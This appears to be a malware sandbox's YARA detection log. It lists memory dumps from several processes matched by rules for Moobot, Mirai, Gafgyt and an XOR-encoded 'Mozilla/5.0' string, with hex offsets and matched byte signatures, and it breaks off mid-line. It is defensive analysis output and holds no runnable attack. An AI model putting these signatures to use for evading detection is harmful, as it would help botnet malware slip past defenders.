6815.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7147.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7147.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7147.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7147.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7147.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7147.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6740.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6922.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6922.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6922.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6922.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6922.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6922.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6596.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6236.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6236.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6236.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6236.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6236.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6236.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6810.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6984.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6984.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6984.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6984.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6984.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6984.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6382.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6382.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6382.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6382.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6382.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6382.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6734.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6734.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6734.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6734.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6734.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 